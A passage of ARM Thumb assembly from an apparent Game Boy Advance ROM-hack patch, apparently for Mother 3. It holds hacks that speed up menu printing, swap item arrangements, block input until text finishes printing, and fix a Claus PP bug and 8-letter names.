r2,#0 mov r3,r5 bl $8047B9C //Order its printing ldr r4,=#0x201AEF8 mov r0,r4 bl $803E908 //Print this to VRAM now! bl $80487D4 mov r0,r4 bl $803E908 pop {r0-r5,pc} //============================================================================================= // Gets the array of the positions for swapping // Order (reversed) is: // Right side's position | Left side's position | Distance between right and lower left | Size //============================================================================================= .positions_swapping_array: dd $10620220; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $1080001E dd $00000000; dd $00000000; dd $10620220; dd $0E64021E dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 dd $00000000; dd $00000000; dd $00000000; dd $00000000 .get_positions_lines_array: ldr r1,=#.positions_swapping_array ldr r0,=#0x201A288 ldrb r0,[r0,#0] lsl r0,r0,#2 add r0,r1,r0 bx lr //============================================================================================= // Swaps a single item's arrangement //============================================================================================= .new_general_swap_single_line: push {r3-r4,lr} mov r2,#1 and r2,r0 lsr r0,r0,#1 lsl r0,r0,#7 cmp r2,#0 beq + ldrb r2,[r6,#0] + add r1,r5,r0 add r1,r1,r2 //Get the arrangement address mov r4,r1 cmp r2,#0 bne + ldrb r2,[r6,#0] add r0,r4,r2 //Branch for an item to the left ldrb r2,[r6,#1] add r1,r1,r2 ldrb r2,[r6,#3] swi #0xB add r4,#0x40 ldrb r2,[r6,#0] add r0,r4,r2 ldrb r2,[r6,#1] add r1,r4,r2 ldrb r2,[r6,#3] swi #0xB b .new_general_swap_single_line_end + ldrb r2,[r6,#2] add r0,r4,r2 //Branch for an item to the right ldrb r2,[r6,#3] swi #0xB add r4,#0x40 ldrb r2,[r6,#2] add r0,r4,r2 mov r1,r4 ldrb r2,[r6,#3] swi #0xB .new_general_swap_single_line_end: pop {r3-r4,pc} //============================================================================================= // Copies a single item's arrangement to a given address r2. // r1 controls whether to copy to or copy from r2 //============================================================================================= .new_general_copy_single_line: push {r3-r7,lr} add sp,#-0x10 mov r7,r2 mov r3,#1 and r3,r0 lsr r0,r0,#1 lsl r0,r0,#7 ldrb r2,[r6,#1] cmp r3,#0 beq + ldrb r2,[r6,#0] //Handle the right side differently + add r0,r5,r0 add r0,r0,r2 //Get the arrangement address mov r2,#0x20 //Save the arrangement address and the target/source address on the stack add r5,r7,r2 //This allows using a generic copying routine mov r2,#0x40 add r2,r0,r2 cmp r1,#1 beq + str r0,[sp,#0] str r2,[sp,#4] str r7,[sp,#8] str r5,[sp,#0xC] b .new_general_copy_single_line_start_copy + str r7,[sp,#0] str r5,[sp,#4] str r0,[sp,#8] str r2,[sp,#0xC] .new_general_copy_single_line_start_copy: ldr r0,[sp,#0] ldr r1,[sp,#8] ldrb r2,[r6,#3] swi #0xB ldr r0,[sp,#4] ldr r1,[sp,#0xC] ldrb r2,[r6,#3] swi #0xB add sp,#0x10 pop {r3-r7,pc} //============================================================================================= // Clears the last item's arrangement //============================================================================================= .new_general_clear_final_line: push {r4,lr} mov r2,#1 lsr r0,r0,#1 lsl r0,r0,#7 cmp r2,#0 beq + ldrb r2,[r6,#0] + add r1,r5,r0 add r1,r1,r2 mov r4,r1 mov r0,#0 push {r0} mov r0,sp //Part that clears the top of the last item's arrangement ldr r2,=#0x01000008 swi #0xC add r4,#0x40 mov r0,sp mov r1,r4 //Part that clears the bottom of the last item's arrangement ldr r2,=#0x01000008 swi #0xC pop {r0} pop {r4,pc} //============================================================================================= // Prepares the withdraw inventory for swapping character. Based off of $804C39A. // Removes the part that resets the cursor's position //============================================================================================= .prepare_swap_char_withdraw: push {r4,lr} ldr r2,=#0x2016028 ldr r0,=#0x4260 add r1,r2,r0 mov r3,#0 mov r0,#0xF strb r0,[r1,#0] //Saves the fact that this is the withdrawing menu ldr r0,=#0x2FE0 add r1,r2,r0 ldr r0,=#0x4264 add r2,r2,r0 ldrb r0,[r2,#0] strh r0,[r1,#0xA] //Remove position resetting ldrh r0,[r1,#0xA] bl $8054FE0 mov r4,r0 bl $80524EC mov r0,r4 bl $80531C8 pop {r4,pc} //============================================================================================= // Prepares the buying inventory for swapping character. Based off of $804C254. // Removes the part that resets the cursor's position //============================================================================================= .prepare_swap_char_buying: push {r4-r6,lr} ldr r6,=#0x2016028 ldr r0,=#0x4260 add r1,r6,r0 mov r2,#0 mov r0,#0xA strb r0,[r1,#0] //Saves the fact that this is the buying menu mov r1,#0xBD lsl r1,r1,#6 add r5,r6,r1 ldr r1,=#0x4264 add r0,r6,r1 ldrb r0,[r0,#0] strh r0,[r5,#0xA] //Remove position resetting ldrh r0,[r5,#0xA] bl $8054FE0 mov r4,r0 bl $80524EC mov r0,r4 bl $8052F9C mov r0,#0x85 lsl r0,r0,#7 add r6,r6,r0 ldrh r0,[r6,#0] strh r0,[r5,#2] pop {r4-r6,pc} //============================================================================================= // This hack saves in r1 whether the game is still printing or not //============================================================================================= .check_if_printed: push {r0,lr} ldr r0,=#0x2013040 //Do the thing only IF we're done printing. ldrh r1,[r0,#2] //Prevents issues with arrangements not being there pop {r0,pc} //============================================================================================= // This hack saves in the stack the info used for printing stuff when things are removed/moved //============================================================================================= .store_menu_movement_data: push {r0,lr} bl main_menu_hacks.get_selected_index str r0,[sp,#0x10] bl main_menu_hacks.get_top_index str r0,[sp,#0xC] bl main_menu_hacks.get_total_indexes str r0,[sp,#8] pop {r0,pc} //============================================================================================= // This hack changes the palette for an item's arrangement that is stored in r0 //============================================================================================= .change_palette: push {r1-r5,lr} mov r4,r0 //r4 = r0 = initial address ldr r2,=#0x0FFF //r2 = 0xFFF, used to get the non-palette part ldrh r1,[r0,#0] mov r3,r1 and r1,r2 cmp r1,#0 beq .change_palette_end //If there is no item, stop here mov r1,r3 mov r5,#0xF0 lsl r5,r5,#8 and r5,r1 mov r3,#0 //Get whether this was 0x8XXX or 0x0XXX cmp r5,#0 bne + mov r3,#0x80 lsl r3,r3,#8 + mov r5,r3 //r5 now has either 0x0000 or 0x8000 mov r3,#0 //r3 is a counter used in order to avoid issues - ldrh r1,[r0,#0] and r1,r2 //Pick the non-palette part cmp r1,#0 beq + //If it's 0, proceed to the next step orr r1,r5 //Otherwise, or it with the new palette strh r1,[r0,#0] //and then store it add r0,#2 add r3,#1 //Continue along cmp r3,#0x10 blt - + mov r0,r4 add r0,#0x40 //Get the bottom address. Initial one + 0x40 mov r3,#0 - ldrh r1,[r0,#0] and r1,r2 //Pick the non-palette part cmp r1,#0 beq + //If it's 0, proceed to the next step orr r1,r5 //Otherwise, or it with the new palette strh r1,[r0,#0] //and then store it add r0,#2 add r3,#1 //Continue along cmp r3,#0x10 blt - + .change_palette_end: pop {r1-r5,pc} //============================================================================================= // This hack sets in r0 a bitmask of the currently valid options // It takes r0 as the base address and r1 as the amount to check //============================================================================================= .get_valid_options: push {r4-r6,lr} mov r4,r0 mov r5,r1 mov r6,#0 //Counter mov r0,#0 //Setup starting bitmask cmp r5,#0x20 //In 4 bytes there are only 0x20 bits bgt .get_valid_options_end - mov r2,#0 ldr r1,[r4,#0] lsl r1,r1,#0xA //Check validity cmp r1,#0 bge + mov r2,#1 + lsl r2,r6 orr r0,r2 //Set r6-th bit in bitmask to r2 add r4,#4 add r6,#1 cmp r5,r6 bgt - .get_valid_options_end: pop {r4-r6,pc} //============================================================================================= // This hack properly handles updating the old options for the shop menu //============================================================================================= .update_shop_valid_options: push {r3,lr} sub r3,r1,r2 //r1 contains the old selected index, r2 contains the old top index mov r2,#0x20 sub r2,r2,r3 mov r1,r0 //Discard the bit of the old selected item and re-compact this lsl r1,r2 lsr r1,r2 add r2,r3,#1 lsr r0,r2 lsl r0,r3 orr r0,r1 pop {r3,pc} //============================================================================================= // This hack gets the valid options for the certain menus //============================================================================================= .get_menu_valid_options: push {r2,lr} bl main_menu_hacks.get_added_value_menu_valid ldr r1,=#0x2016028 //Prepare the address add r1,r1,r2 bl main_menu_hacks.get_top_index lsl r0,r0,#2 //Go to the proper first item on the screen add r2,r1,r0 bl main_menu_hacks.get_possible_indexes mov r1,r0 //Set the number of maximum items mov r0,r2 bl main_menu_hacks.get_valid_options pop {r2,pc} //============================================================================================= // This hack changes the palette for the options that changed validity in the shop menus //============================================================================================= .change_shop_options: push {r4-r6,lr} mov r4,r0 //Save in r4 what changed mov r5,r1 //Arrangement start mov r6,#1 //Number to and with bl .get_possible_indexes mov r3,r0 //Number of items in this menu mov r1,#0 //Current index - mov r0,r6 and r0,r4 cmp r0,#0 beq + lsl r0,r1,#7 //If this isn't 0, it changed... add r0,r5,r0 //Prepare the corresponding arrangement address bl main_menu_hacks.change_palette + add r1,#1 lsl r6,r6,#1 //Prepare to check the next bit cmp r1,r3 //There are r3 items displayed top in this menu blt - pop {r4-r6,pc} //============================================================================================= // This hack changes the palette for the options that changed validity in the psi menu //============================================================================================= .change_psi_options: push {r4-r6,lr} mov r4,r0 //Save in r4 what changed mov r5,r1 //Arrangement start mov r6,#1 //Number to and with bl .get_possible_indexes mov r3,r0 //Number of items in this menu mov r1,#0 //Current index - mov r0,r6 and r0,r4 cmp r0,#0 beq .change_psi_options_end_single lsr r0,r1,#1 //If this isn't 0, it changed... lsl r2,r0,#7 mov r0,#1 and r0,r1 cmp r0,#1 bne + mov r0,#0x1C //Handle the right side + add r0,r0,r2 add r0,r5,r0 //Prepare the corresponding arrangement address bl main_menu_hacks.change_palette .change_psi_options_end_single: add r1,#1 lsl r6,r6,#1 //Prepare to check the next bit cmp r1,r3 //There are r3 items displayed top in this menu blt - pop {r4-r6,pc} //============================================================================================= // This hack removes an item and then prints a new one if need be //============================================================================================= .printing_pressed_a: push {r4-r7,lr} mov r7,r0 ldr r1,[r7,#0] bl main_menu_hacks.get_total_indexes cmp r0,r1 //Skip printing if we don't remove an item from the withdrawing menu beq .printing_pressed_a_end bl main_menu_hacks.get_possible_indexes mov r1,r0 bl main_menu_hacks.get_difference_top_total cmp r0,r1 //We'll need the free tiles if we have more than r1 items after the top one blt + bl main_menu_hacks.new_get_empty_tiles mov r4,r0 //We need to get them now and to store them in order to avoid mov r5,r1 //writing to a bunch of tiles that was just freed mov r6,r2 + //Move the items' arrangements around by one mov r0,r7 bl main_menu_hacks.new_withdraw_swap_arrangement bl main_menu_hacks.get_possible_indexes mov r1,r0 bl main_menu_hacks.get_difference_top_total cmp r0,r1 //If this is >= r1, then we need to print new stuff! bge + //If we don't need to print new stuff, just set buffer to be updated and end this here mov r0,#1 b .printing_pressed_a_end_update + ldr r1,[r7,#4] bl main_menu_hacks.get_top_index cmp r0,r1 //Check if the top index changed between the A press and now... beq + //If it did, the menu position was moved up by one. We don't need to print new stuff at the bottom, //but we'll need to print new stuff at the top (the top two new items) and to move everything down //by one line. Luckily, up_down_scrolling_print_no_get_empty_tiles handles it for us. //We'll just need to trick it into thinking the selected_index corresponds to the top one. bl main_menu_hacks.set_selected_index mov r2,r0 mov r0,r4 mov r1,r5 mov r5,r2 //Saves the old selected_index in r5 temporarily mov r2,r6 bl main_menu_hacks.up_down_scrolling_print_no_get_empty_tiles mov r0,r5 //Restores the old selected_index bl main_menu_hacks.set_selected_index b .printing_pressed_a_end + //If it didn't, we need to print one item at the bottom right mov r1,r0 bl main_menu_hacks.get_possible_indexes sub r0,#1 add r0,r1,r0 bl main_menu_hacks.set_selected_index mov r2,r0 mov r0,r4 mov r1,r5 mov r5,r2 //Saves the old selected_index in r5 temporarily mov r2,r6 bl main_menu_hacks.pressing_a_scrolling_print_no_get_empty_tiles mov r0,r5 //Restores the old selected_index bl main_menu_hacks.set_selected_index .printing_pressed_a_end: mov r0,#0 .printing_pressed_a_end_update: pop {r4-r7,pc} //============================================================================================= // This hack calls printing_pressed_a and then updates the greyed out options. Used only by the sell menu //============================================================================================= .printing_pressed_a_update_grey: push {r4-r5,lr} mov r4,r0 bl .printing_pressed_a mov r5,r0 cmp r0,#1 bne + //Store the arrangements buffer if it returned 1 bl .store_arrangements_buffer + ldr r1,[r4,#0] bl .get_total_indexes cmp r1,r0 //Check if the number of items in the menu changed, otherwise do nothing beq .printing_pressed_a_update_grey_end bl .get_menu_valid_options mov r3,r0 ldr r0,[r4,#0xC] ldr r1,[r4,#0x8] ldr r2,[r4,#0x4] bl .update_shop_valid_options mov r2,r0 cmp r5,#0 bne .printing_pressed_a_update_grey_compare ldr r1,[r4,#4] bl .get_top_index sub r0,r0,r1 mov r1,#0x1F cmp r0,#0 //Check if the top index changed between the A press and now... beq + lsl r2,r2,#1 //These are now the bottom options, not the top ones lsl r1,r1,#1 + and r3,r1 //Make it so the bit that isn't in r2 and the one that is in r3 match .printing_pressed_a_update_grey_compare: eor r2,r3 //If the valid options changed, change cmp r2,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated mov r0,r2 ldr r1,=#0x2016996 bl main_menu_hacks.change_shop_options + .printing_pressed_a_update_grey_end: pop {r4-r5,pc} //============================================================================================= // This hack fixes 8-letter names on the main file load screen. //============================================================================================= .filechoose_lengthfix: str r3,[sp,#0] // clobbered code // Address in r0. Return the length in r3. push {r0,lr} mov r3,#9 // default value bl check_name // see if it's a custom name cmp r0,#0 beq + mov r3,r0 + pop {r0,pc} //============================================================================================= // This hack fixes the fact that if you lose the first battle Claus won't have any PP left //============================================================================================= claus_pp_fix: .main: push {lr} lsl r0,r0,#0x10 //Character identifier lsr r0,r0,#0x10 cmp r0,#2 //Lucas beq + cmp r0,#4 //Kumatora beq + cmp r0,#0xD //Claus bne .failure + mov r0,#1 //Allow copying PPs b .end .failure: //If it's not one of them, then they should not have PPs mov r0,#0 .end: pop {pc} //============================================================================================= // This set of hacks cleans the writing stack //============================================================================================= refreshes: //============================================================================================= // The main hack that clears the actual writing stack //============================================================================================= .main: push {lr} ldr r1,=#0x2013040 //Address of the stack mov r0,#0 str r0,[r1,#0x0] //Clean the words' lengths so it won't print str r0,[r1,#0x10] str r0,[r1,#0x14] str r0,[r1,#0x18] str r0,[r1,#0x1C] pop {pc} //============================================================================================= // These hacks call the main one to clear the writing stack //============================================================================================= .lr: push {lr} bl .main ldrh r1,[r5,#0xA] //Normal stuff the game expects from us ldr r2,=#0x4264 pop {pc} .b: push {lr} bl .main mov r0,#0xD3 //Normal stuff the game expects from us bl $800399C pop {pc} .inv_spec_a: push {lr} bl .main ldr r1,=#0x426A //Normal stuff the game expects from us add r0,r1,r7 pop {pc} .memo_a: push {lr} bl .main mov r0,r5 //Normal stuff the game expects from us bl $804EEE8 pop {pc} .equip_a: push {lr} bl .main mov r0,r4 //Normal stuff the game expects from us bl $804EB68 pop {pc} .inner_memo_scroll: push {r1,lr} //Let's save r1, since the game needs it bl .main pop {r1} mov r0,r1 //Normal stuff the game expects from us bl $804EF38 pop {pc} .inner_equip_a: push {lr} bl .main ldr r7,=#0x2016028 //Normal stuff the game expects from us ldr r0,=#0x41C6 pop {pc} .switch_lr: push {lr} bl .main ldrh r0,[r4,#4] //Normal stuff the game expects from us bl $8053E98 pop {pc} .status_lr: push {lr} bl .main ldrh r1,[r4,#0xA] //Normal stuff the game expects from us ldr r2,=#0x4264 pop {pc} //============================================================================================= // These hacks call the main one to clear the writing stack and then blank out the tiles. // This makes it so the printing process isn't showed //============================================================================================= .deposit_lr: push {lr} bl .main bl main_menu_hacks.delete_vram bl $804C35C //Normal stuff the game expects from us pop {pc} .psi_select: push {lr} bl .main bl main_menu_hacks.delete_vram mov r0,#0xD2 //Normal stuff the game expects from us bl $800399C pop {pc} .status_a: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#4 bne + bl .main bl main_menu_hacks.delete_oam_vram + bl $8046D90 //Normal stuff the game expects from us pop {pc} .skills_b: push {lr} bl .main bl main_menu_hacks.delete_oam_vram mov r0,#0xD3 //Normal stuff the game expects from us bl $800399C pop {pc} //============================================================================================= // This hack blanks out a part of OAM's text tiles. // This makes it so the printing process isn't showed //============================================================================================= .inv_submenu_a: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] cmp r0,#0 //Make sure we're in the inventory. Double checking never hurts bne + //If we are, clean a subsection of OAM's VRAM bl main_menu_hacks.delete_oam_vram_subsection + bl $804FA5C //Normal stuff the game expects from us pop {pc} //============================================================================================= // This hack calls the main one to clear the writing stack. // It then changes how the withdraw menu swaps character. (Top index and selected item won't change) //============================================================================================= .withdraw_lr: push {lr} bl .main //Don't refresh the withdraw menu when we swap character... bl main_menu_hacks.prepare_swap_char_withdraw pop {pc} //============================================================================================= // This hack calls the main one to clear the writing stack. // It then moves the text up/down and prints only the bottom/top line //============================================================================================= .up_and_down: push {r0-r2,lr} bl .main //bl $8046D90 //Normal stuff the game expects from us bl main_menu_hacks.up_down_scrolling_print pop {r0-r2,pc} //============================================================================================= // This hack calls the main one to clear the writing stack only if the game's done printing. // If the game's done printing, it then moves the text up/down and prints only the bottom/top line //============================================================================================= .up_and_down_battle_memoes: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + mov r0,r5 mov r1,r7 bl $8053598 lsl r0,r0,#0x10 lsr r0,r0,#0x10 cmp r0,#2 bne + push {r0-r2} bl .main bl main_menu_hacks.up_down_scrolling_print ldr r1,=#0xC5AD //Signal printing add r1,r1,r6 ldrb r0,[r1,#0] mov r2,#1 orr r0,r2 strb r0,[r1,#0] pop {r0-r2} mov r0,#1 + add sp,#4 pop {pc} //============================================================================================= // These hacks allow input reading only if the game's done printing. //============================================================================================= .inv_block_a: push {lr} bl main_menu_hacks.check_if_printed cmp r1,#0 //Have we finished printing? beq .inv_block_a_passed //Yes! Then let it do what it wants to do pop {r0} ldr r0,=#0x804CC35 //No! Prevent the game from opening stuff we don't want yet. bx r0 .inv_block_a_passed: ldr r0,=#0x2DFA //Normal stuff the game expects from us add r1,r7,r0 pop {pc} .inv_submenu_block_a: push {lr} bl main_menu_hacks.check_if_printed mov r0,r1 mov r1,#0 //Have we finished printing? cmp r0,#0 bne + ldrh r1,[r4,#0] //Normal input loading + mov r0,#3 pop {pc} .sell_block_input_up_and_down: push {lr} add sp,#-0x8 str r0,[sp,#4] ldr r0,[sp,#0xC] str r0,[sp,#0] //Prepare args for the function mov r2,r1 bl main_menu_hacks.check_if_printed mov r0,#0 //Do this only if it's done printing cmp r1,#0 bne + ldr r0,[sp,#4] mov r1,r2 mov r2,r5 bl $8053598 + add sp,#0x8 pop {pc} .sell_a: push {lr} bl main_menu_hacks.check_if_printed cmp r1,#0 bne + push {r2} //Let's save r2, since the game needs it bl .main pop {r2} mov r0,r2 //Normal stuff the game expects from us bl $804F0D4 + pop {pc} .psi_prevent_input_a_select: push {lr} bl main_menu_hacks.check_if_printed mov r0,r1 ldrh r1,[r7,#0] //Input cmp r0,#0 beq + ldr r0,=#0xFFFA and r1,r0 //Prevent using A and SELECT if the PSI menu isn't fully done printing + cmp r1,#1 //Clobbered code pop {pc} .withdraw_psi_memo_block_input_up_and_down: push {lr} add sp,#-0xC ldr r0,[sp,#0x10] str r0,[sp,#0] ldr r0,[sp,#0x14] str r0,[sp,#4] ldr r0,[sp,#0x18] str r0,[sp,#8] //Prepare args for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do this only if it's done printing cmp r1,#0 bne + add r0,r5,#4 mov r1,r5 add r1,#8 bl $8053968 + add sp,#0xC pop {pc} .withdraw_block_input_lr: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] //Prepare arg for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + add r0,r4,#4 mov r1,r7 bl $8053754 + add sp,#4 pop {pc} .buy_block_a: push {lr} bl main_menu_hacks.check_if_printed cmp r1,#0 //Prevent confirming buying (it interacts with bne + //the arrangements) unless everything's printed bl $8050008 + pop {pc} .buy_block_up_down: push {lr} add sp,#-4 mov r2,r0 bl main_menu_hacks.check_if_printed mov r0,#0 //Prevent scrolling up or down (it interacts with cmp r1,#0 //the arrangements) unless everything's printed bne + ldr r0,[sp,#8] //Prepare args for the function str r0,[sp,#0] mov r0,r2 mov r2,r5 add r1,r0,#4 bl $8053598 + add sp,#4 pop {pc} .buy_block_lr: push {lr} add sp,#-4 mov r2,r0 bl main_menu_hacks.check_if_printed mov r0,#0 //Prevent changing character (it interacts with cmp r1,#0 //the arrangements) unless everything's printed bne + ldr r0,[sp,#8] //Prepare args for the function str r0,[sp,#0] mov r1,r5 mov r0,r2 mov r2,#0 bl $8053754 + add sp,#4 pop {pc} .equip_block_input_lr: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] //Prepare arg for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + mov r0,r4 add r0,#0xA mov r1,r5 mov r2,#0 bl $8053754 + add sp,#4 pop {pc} .status_block_input_lr: push {lr} add sp,#-4 ldr r0,[sp,#8] str r0,[sp,#0] //Prepare arg for the function bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + mov r0,r4 add r0,#0xA mov r1,r2 mov r2,#0 bl $8053754 + add sp,#4 pop {pc} //============================================================================================= // This hack updates the inventory. // It then returns both the new inventory size and the one before updating it //============================================================================================= .inv_load_new_old_size: push {lr} add sp,#-4 mov r1,r0 bl main_menu_hacks.get_character_inventory_total_indexes str r0,[sp,#0] //Save old inventory's size mov r0,r1 bl $80524EC //Routine that updates inventory's size bl main_menu_hacks.get_character_inventory_total_indexes ldr r1,[sp,#0] //Put in r0 the new size and in r1 the old one add sp,#4 pop {pc} //============================================================================================= // This hack makes it so if we're in the buying menu, a certain B branch doesn't update the screen. // This happens in the "Equip X?" and "Sell X?" submenus //============================================================================================= .shop_block_b_update: push {lr} ldr r0,=#0x201A288 ldrb r0,[r0,#0] //Load the menu type cmp r0,#0xA //Is this the buying menu? beq + bl $8046D90 //If not, proceed normally + pop {pc} //============================================================================================= // This hack handles using/giving/throwing inventory items in an optimized way by not printing //============================================================================================= .inv_handle_item_movement: push {r4,lr} add sp,#-0x50 mov r4,#0 str r4,[sp,#0xC] //Set this address to a default mov r4,r2 bl main_menu_hacks.store_menu_movement_data bl .inv_load_new_old_size cmp r0,r1 bne + //Did the inventory's size change? //If it did not, check if we should move the item to the bottom cmp r4,#1 bne .inv_handle_item_movement_end str r0,[sp,#0xC] //Save the fact that we should move the item to the bottom mov r0,sp mov r1,#0 //Copy from the arrangements mov r2,#0x10 add r2,r2,r0 //Load the item's arrangements in bl main_menu_hacks.new_inventory_copy_arrangement + mov r0,sp bl main_menu_hacks.new_inventory_deposit_swap_arrangement ldr r0,[sp,#0xC] cmp r0,#0 beq + sub r0,r0,#1 str r0,[sp,#8] //Put the target in the movement data mov r0,sp mov r1,#1 //Copy to the arrangements mov r2,#0x10 add r2,r2,r0 //Move the item's arrangement to the bottom bl main_menu_hacks.new_inventory_copy_arrangement + bl main_menu_hacks.store_arrangements_buffer mov r0,#0 //Return the fact that the size changed .inv_handle_item_movement_end: add sp,#0x50 pop {r4,pc} //============================================================================================= // This hack handles using and throwing inventory items //============================================================================================= .inv_use_throw: push {r2,lr} mov r2,#0 //If the size stays the same, no operation to be done bl .inv_handle_item_movement cmp r0,#0 bne + ldr r0,=#0x2015D98 ldrb r1,[r0,#0] mov r2,#4 //Prevents glitch in which the new currently selected item's data would show up for the top OAM orr r1,r2 strb r1,[r0,#0] + pop {r2,pc} //============================================================================================= // This hack handles giving inventory items (It's a special case because you can give them // to the same character and change the inventory's order without changing its size) //============================================================================================= .inv_give: push {r2,lr} mov r2,#1 //If the size stays the same, move the item to the bottom bl .inv_handle_item_movement pop {r2,pc} //============================================================================================= // These hacks save which entries are valid and then update them. // This allows changing the palette of certain entries instead of reprinting them //============================================================================================= .sell_confirmed_a: push {lr} add sp,#-0x10 bl main_menu_hacks.store_menu_movement_data bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0xC] bl $8050218 add sp,#0x10 pop {pc} .sell_confirmed_equipment_a: push {lr} add sp,#-0x10 bl main_menu_hacks.store_menu_movement_data bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0xC] bl $805030C add sp,#0x10 pop {pc} //============================================================================================= // These hacks update the palette of certain entries instead of reprinting them. // They also remove the sold item and only print the one at the bottom (if it exists) //============================================================================================= .sell_equipment_confirmed_printing_pressed_a: push {lr} mov r0,sp add r0,#0x1C bl main_menu_hacks.printing_pressed_a_update_grey pop {pc} .sell_confirmed_printing_pressed_a: push {lr} mov r0,sp add r0,#0x14 bl main_menu_hacks.printing_pressed_a_update_grey pop {pc} //============================================================================================= // These hacks update the palette of certain entries instead of reprinting them //============================================================================================= .psi_used: push {r4,lr} add sp,#-4 mov r4,r0 bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0] //Get the valid options now mov r0,r4 bl $8052864 //Do the PSI used routine... mov r0,r4 bl main_menu_hacks.get_menu_valid_options ldr r1,[sp,#0] eor r0,r1 //If the valid options changed, change cmp r0,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated ldr r1,=#0x201697A bl main_menu_hacks.change_psi_options bl main_menu_hacks.store_arrangements_buffer + add sp,#4 pop {r4,pc} .buy_a: push {lr} add sp,#-4 bl .main bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0] //Get the valid options now mov r0,r4 bl $8052F9C //Do the confirming buying routine... bl main_menu_hacks.get_menu_valid_options ldr r1,[sp,#0] eor r0,r1 //If the valid options changed, change cmp r0,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated ldr r1,=#0x2016992 bl main_menu_hacks.change_shop_options bl main_menu_hacks.store_arrangements_buffer + add sp,#4 pop {pc} .buy_lr: push {lr} add sp,#-4 bl .main bl main_menu_hacks.get_menu_valid_options str r0,[sp,#0] //Get the valid options now bl main_menu_hacks.prepare_swap_char_buying bl main_menu_hacks.get_menu_valid_options ldr r1,[sp,#0] eor r0,r1 //If the valid options changed, change cmp r0,#0 //the assigned palette for those that changed beq + //and then set the arrangements to be updated ldr r1,=#0x2016992 bl main_menu_hacks.change_shop_options bl main_menu_hacks.store_arrangements_buffer + add sp,#4 pop {pc} .sell_after_buy_a: push {r4,lr} mov r4,r5 //Cover the -selling old equipment bl .buy_a //after buying new one- case pop {r4,pc} //============================================================================================= // This hack allows input reading only if the game's done printing. // If it is done, then it saves the current position of the cursor in order to // only remove what is needed without reprinting the entire menu //============================================================================================= .deposit_a: push {lr} bl main_menu_hacks.check_if_printed mov r0,#0 //Do the thing only IF we're done printing. cmp r1,#0 //Prevents issues with arrangements not being there bne + add sp,#-0xC //Prepare the item's index for the deposit-movement routine bl main_menu_hacks.store_menu_movement_data bl .main mov r0,r4 //Normal stuff the game expects from us bl $804F1D8 add sp,#0xC + pop {pc} //============================================================================================= // This hack moves the items in the deposit menu around instead of reprinting them //============================================================================================= .deposit_printing_pressed_a: push {lr} mov r0,sp add r0,#0x1C bl main_menu_hacks.new_inventory_deposit_swap_arrangement bl main_menu_hacks.store_arrangements_buffer pop {pc} //============================================================================================= // This hack allows input reading only if the game's done printing. // If it is done, then it saves the current position of the cursor in order to // only remove what is needed without reprinting the entire menu // It also checks whether there is space in the character's inventory //============================================================================================= .withdraw_a: push {lr} add sp,#-0xC bl main_menu_hacks.store_menu_movement_data bl main_menu_hacks.check_if_printed cmp r1,#0 //Do the thing only IF we're done printing. bne .withdraw_a_end //Prevents issues with arrangements not being there ldr r0,=#0x201A294 //Check if the inventory is full. If it is, then the game won't print again and we need to let it do its thing. We need to manually increment this, as the original devs forgot to do it. ldrh r1,[r0,#0] cmp r1,#0x10 bge + add r1,#1 strh r1,[r0,#0] bl .main + mov r0,r5 //Normal stuff the game expects from us bl $804F294 .withdraw_a_end: add sp,#0xC pop {pc} //============================================================================================= // This hack moves the items in the withdraw menu around instead of reprinting them //============================================================================================= .withdraw_printing_pressed_a: push {lr} mov r0,sp add r0,#0x14 bl main_menu_hacks.printing_pressed_a cmp r0,#1 bne + //Store the arrangements buffer if it returned 1 bl main_menu_hacks.store_arrangements_buffer + pop {pc} //============================================================================================= // This set of hack tries to improve the performances of menus that may use most of the CPU // in certain specific situations (Status and Equip). //============================================================================================= improve_performances_menus: //============================================================================================= // This hack prints "Weapon", "Body", "Head", "Other" and "Skills" in VRAM. //============================================================================================= .status_vram_equip_descriptors: push {lr} add sp,#-4 str r4,[sp,#0] bl $8047B9C //Base code, orders printing "PP" mov r0,#0x52 bl $80486A0 //Load up "Weapon" str r4,[sp,#0] mov r1,#9 mov r2,#5 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x54 bl $80486A0 //Load up "Body" str r4,[sp,#0] mov r1,#9 mov r2,#6 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x53 bl $80486A0 //Load up "Head" str r4,[sp,#0] mov r1,#9 mov r2,#7 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x55 bl $80486A0 //Load up "Other" str r4,[sp,#0] mov r1,#9 mov r2,#8 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x56 bl $80486A0 //Load up "Skills" str r4,[sp,#0] mov r1,#9 mov r2,#9 mov r3,r5 bl $8047B9C //Order its printing add sp,#4 pop {pc} //============================================================================================= // This hack prints "Weapon", "Body", "Head" and "Other" in VRAM. //============================================================================================= .equipment_vram_equip_descriptors: push {lr} add sp,#-4 mov r4,#1 mov r5,#1 neg r5,r5 mov r0,#0x52 bl $80486A0 //Load up "Weapon" str r4,[sp,#0] mov r1,#0xB mov r2,#2 mov r3,r5 bl $8047B9C //Order its printing mov r0,#0x54 